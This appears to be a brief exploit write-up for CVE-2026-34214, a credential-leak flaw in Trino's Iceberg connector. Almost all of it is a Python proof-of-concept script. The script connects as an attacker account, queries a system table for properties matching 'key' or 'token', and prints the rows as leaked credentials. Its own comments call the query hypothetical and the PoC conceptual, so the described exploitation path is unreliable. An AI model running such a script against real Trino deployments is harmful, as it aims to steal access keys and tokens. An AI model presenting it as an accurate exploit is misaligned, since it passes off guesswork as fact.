CVE-2026-34214 Trino Iceberg连接器凭证泄露漏洞

import trino # Connect to Trino server conn = trino.dbapi.connect( host='localhost', port=8080, user='attacker_with_write_access', catalog='iceberg', schema='default' ) cursor = conn.cursor() # Attempt to query system tables or properties that might leak credentials # Note: The exact query depends on the specific vulnerability exploitation path. # This is a conceptual PoC demonstrating the context. try: # Hypothetical query to access catalog properties or session info containing keys query = "SELECT * FROM system.metadata.catalog_properties WHERE property_name LIKE '%key%' OR property_name LIKE '%token%'" cursor.execute(query) rows = cursor.fetchall() for row in rows: print(f"Leaked Credential Info: {row}") except Exception as e: print(f"Exploitation attempt failed or query not applicable: {e}") cursor.close() conn.close()